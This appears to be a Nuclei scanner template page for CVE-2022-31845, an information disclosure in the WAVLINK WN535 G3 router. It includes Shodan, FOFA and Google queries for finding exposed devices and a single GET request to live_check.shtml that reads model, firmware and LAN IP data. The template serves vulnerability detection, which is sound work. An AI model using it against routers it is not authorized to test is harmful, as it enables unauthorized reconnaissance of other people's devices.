WAVLINK WN535 G3 - Information Disclosure

ID: CVE-2022-31845

Severity: high

Author: arafatansari

Tags: cve,cve2022,wavlink,exposure

Description

WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in live_check.shtml. An attacker can obtain sensitive router information via execution of the exec cmd function and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: CVE-2022-31845

info:
  name: WAVLINK WN535 G3 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in live_check.shtml. An attacker can obtain sensitive router information via execution of the exec cmd function and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as login credentials or network configuration.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__check_live.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31845
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31845
    cwe-id: CWE-668
    epss-score: 0.00874
    epss-percentile: 0.80606
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,exposure

http:
  - raw:
      - |
        @timeout: 10s
        GET /live_check.shtml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Model='
          - 'FW_Version='
          - 'LanIP='
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100acf6c129cfbe53a2fe753ac70f47b44a7be6ac42c36a507b296bdb376fa443ba02210096ac7cd47a1dc54bdeac9e7524c3bb547d20ec1dbdc4046d72b9b288b8ee5de8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31845.yaml"

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